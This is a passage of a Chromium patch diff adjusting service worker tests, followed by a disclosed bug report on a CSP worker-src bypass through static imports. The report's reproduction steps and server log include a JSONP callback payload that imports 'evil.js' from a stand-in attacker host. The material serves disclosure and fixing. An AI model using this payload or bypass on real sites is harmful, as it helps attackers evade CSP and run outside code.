- script_url, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, std::move(fetch_client_settings_object),
+
base::BindOnce(&PlatformNotificationContextTest::DidRegisterServiceWorker,
base::Unretained(this), &service_worker_registration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
diff --git a/content/browser/payments/payment_app_content_unittest_base.cc b/content/browser/payments/payment_app_content_unittest_base.cc
index 556c9820..4ec4117 100644
--- a/content/browser/payments/payment_app_content_unittest_base.cc
+++ b/content/browser/payments/payment_app_content_unittest_base.cc
@@ -204,9 +204,13 @@
registration_opt.scope = scope_url;
const blink::StorageKey key =
blink::StorageKey::CreateFirstParty(url::Origin::Create(scope_url));
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
worker_helper_->context()->RegisterServiceWorker(
sw_script_url, key, registration_opt,
- blink::mojom::FetchClientSettingsObject::New(),
+ std::move(fetch_client_settings_object),
base::BindOnce(&RegisterServiceWorkerCallback, &called, ®istration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
diff --git a/content/browser/service_worker/service_worker_container_host_unittest.cc b/content/browser/service_worker/service_worker_container_host_unittest.cc
index eefe938..e4da5a4 100644
--- a/content/browser/service_worker/service_worker_container_host_unittest.cc
+++ b/content/browser/service_worker/service_worker_container_host_unittest.cc
@@ -196,9 +196,12 @@
blink::mojom::ServiceWorkerErrorType::kUnknown;
auto options = blink::mojom::ServiceWorkerRegistrationOptions::New();
options->scope = scope;
+ auto fetch_client_settings_object =
+ blink::mojom::FetchClientSettingsObject::New();
+ fetch_client_settings_object->policy_container_policies =
+ blink::mojom::PolicyContainerPolicies::New();
container_host->Register(
- worker_url, std::move(options),
- blink::mojom::FetchClientSettingsObject::New(),
+ worker_url, std::move(options), std::move(fetch_client_settings_object),
base::BindOnce([](blink::mojom::ServiceWorkerErrorType* out_error,
blink::mojom::ServiceWorkerErrorType error,
const std::optional<std::string>& error_msg,
diff --git a/content/browser/service_worker/service_worker_context_core_unittest.cc b/content/browser/service_worker/service_worker_context_core_unittest.cc
index 8c2169ed..b301582 100644
--- a/content/browser/service_worker/service_worker_context_core_unittest.cc
+++ b/content/browser/service_worker/service_worker_context_core_unittest.cc
@@ -72,7 +72,7 @@
blink::ServiceWorkerStatusCode status;
int64_t registration_id;
context()->RegisterServiceWorker(
- script, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script, key, options, CreateFetchClientSettingsObject(),
base::BindLambdaForTesting(
[&](blink::ServiceWorkerStatusCode result_status,
const std::string& /* status_message */,
@@ -239,7 +239,7 @@
base::RunLoop register_job_loop;
blink::ServiceWorkerStatusCode register_job_status;
context()->RegisterServiceWorker(
- script, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script, key, options, CreateFetchClientSettingsObject(),
base::BindLambdaForTesting(
[&](blink::ServiceWorkerStatusCode result_status,
const std::string& /* status_message */,
@@ -289,7 +289,7 @@
base::RunLoop register_job_loop;
blink::ServiceWorkerStatusCode register_job_status;
context()->RegisterServiceWorker(
- script, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script, key, options, CreateFetchClientSettingsObject(),
base::BindLambdaForTesting(
[&](blink::ServiceWorkerStatusCode result_status,
const std::string& /* status_message */,
diff --git a/content/browser/service_worker/service_worker_context_unittest.cc b/content/browser/service_worker/service_worker_context_unittest.cc
index 3d4abd42..a39b1501 100644
--- a/content/browser/service_worker/service_worker_context_unittest.cc
+++ b/content/browser/service_worker/service_worker_context_unittest.cc
@@ -31,6 +31,8 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/blink/public/common/service_worker/service_worker_types.h"
#include "third_party/blink/public/common/storage_key/storage_key.h"
+#include "third_party/blink/public/mojom/frame/policy_container.mojom.h"
+#include "third_party/blink/public/mojom/loader/fetch_client_settings_object.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_event_status.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration.mojom.h"
#include "third_party/blink/public/mojom/service_worker/service_worker_registration_options.mojom.h"
@@ -424,7 +426,7 @@
int64_t registration_id = blink::mojom::kInvalidServiceWorkerRegistrationId;
bool called = false;
context()->RegisterServiceWorker(
- script_url, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, CreateFetchClientSettingsObject(),
MakeRegisteredCallback(&called, ®istration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -598,7 +600,7 @@
TestServiceWorkerContextObserver observer(context_wrapper());
base::RunLoop run_loop;
context()->RegisterServiceWorker(
- script_url, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, CreateFetchClientSettingsObject(),
base::BindOnce(&RegisteredCallback, run_loop.QuitClosure()),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -659,7 +661,7 @@
int64_t registration_id = blink::mojom::kInvalidServiceWorkerRegistrationId;
bool called = false;
context()->RegisterServiceWorker(
- script_url, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, CreateFetchClientSettingsObject(),
MakeRegisteredCallback(&called, ®istration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -716,7 +718,7 @@
int64_t registration_id = blink::mojom::kInvalidServiceWorkerRegistrationId;
bool called = false;
context()->RegisterServiceWorker(
- script_url, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, CreateFetchClientSettingsObject(),
MakeRegisteredCallback(&called, ®istration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -770,7 +772,7 @@
int64_t registration_id = blink::mojom::kInvalidServiceWorkerRegistrationId;
bool called = false;
context()->RegisterServiceWorker(
- script_url, key, options, blink::mojom::FetchClientSettingsObject::New(),
+ script_url, key, options, CreateFetchClientSettingsObject(),
MakeRegisteredCallback(&called, ®istration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -817,7 +819,7 @@
int64_t registration_id = blink::mojom::kInvalidServiceWorkerRegistrationId;
context()->RegisterServiceWorker(
GURL("https://www.example.com/service_worker.js"), key, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ CreateFetchClientSettingsObject(),
MakeRegisteredCallback(&called, ®istration_id),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -884,7 +886,7 @@
options.scope = origin1_s1;
context()->RegisterServiceWorker(
GURL("https://www.example.com/service_worker.js"), key1, options,
- blink::mojom::FetchClientSettingsObject::New(),
+ CreateFetchClientSettingsObject(),
MakeRegisteredCallback(&called, ®istration_id1),
/*requesting_frame_id=*/GlobalRenderFrameHostId(),
PolicyContainerPolicies());
@@ -899,7 +901,7 @@
options.scope = origin1_s2;
context()->RegisterServiceWorker(
GURL("https://www.example.com/service_worker2.js"), key1, options,
... (truncated)
Original Bug Report
static `import` declarations in service workers do not respect `worker-src` CSP directive
VULNERABILITY DETAILS
Summary
Content Security Policy (CSP) is not properly enforced for service workers. Specifically, a service worker can execute static import declarations to load module scripts from sources that are not specified in the worker-src directive or its fallback directives.
Attack Preconditions
- The attacker already has the ability to execute JavaScript on the target website via XSS.
- The attacker can load a service worker from an endpoint allowed by the
worker-srcdirective (or its fallback directives), and the response of that endpoint can be fully or partially controlled by the attacker (e.g., a JSONP endpoint).
Impact Analysis
If CSP were properly enforced for service workers, an attacker with XSS capabilities would be restricted from importing an external module within a Service Worker unless the attacker-controlled source was allowed by the worker-src directive or its fallbacks.
However, because CSP is not enforced for service workers during static import, an attacker can bypass CSP restrictions, allowing the service worker to import modules from arbitrary sources. This makes XSS mitigations less effective. For example, an attacker might be unable to execute certain payloads due to input validation or a WAF, but bypassing CSP with this bug to import an external script might help them circumvent these restrictions. (I have demonstrated this impact in the provided reproduction case by using a JSONP endpoint that implements input validation.)
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7692.0 canary.
REPRODUCTION CASE
- Create a directory structure like this with the attached files:
. ├── evil.js ├── index.html └── server.py - Create a virtual environment and install the required packages to run the server:
python3 -m venv .venv source ./.venv/bin/activate python3 -m pip install 'uvicorn[standard]==0.41.0' fastapi==0.129.0 - Update the
/etc/hostsfile to makecross-origin.testresolve to127.0.0.1. - Run the
server.pyscript:The server has the following endpoints (Note: you can check the comments and code in the provided attachments for more details):python3 server.py/: Servesindex.htmlwithdefault-src 'none'; script-src 'self' 'unsafe-inline';CSP header./api: A JSONP endpoint withdefault-src 'none';CSP header./evil.js: Serves a maliciousevil.jsscript, simulating a cross-origin server controlled by an attacker.
- Visit
http://localhost:1337/with Chrome. - The page will attempt to register a service worker via the JSONP endpoint.
- The service worker will attempt a static import to load
//cross-origin.test:1337/evil.js. - Even though the CSP of
/endpoint is set todefault-src 'none'; script-src 'self' 'unsafe-inline';, you will see that the service worker still successfully imports the script fromhttp://cross-origin.test:1337/evil.js. - After reloading the page, you will see that the response for the
/endpoint has been overwritten byevil.js, rendering an HTML page without any CSP restrictions.
If successfully reproduced, the expected log of the server should look like this:
$ python3 server.py
INFO: Started server process [89241]
INFO: Waiting for application startup.
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:1337 (Press CTRL+C to quit)
INFO: 127.0.0.1:59315 - "GET / HTTP/1.1" 200 OK
INFO: Valid callback: import'//cross-origin.test:1337/evil.js';//
INFO: 127.0.0.1:59317 - "GET /api?callback=import%27//cross-origin.test:1337/evil.js%27;// HTTP/1.1" 200 OK
INFO: Host: cross-origin.test:1337
INFO: 127.0.0.1:59318 - "GET /evil.js HTTP/1.1" 200 OK
INFO: 127.0.0.1:59315 - "PUT /pwned HTTP/1.1" 404 Not Found
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.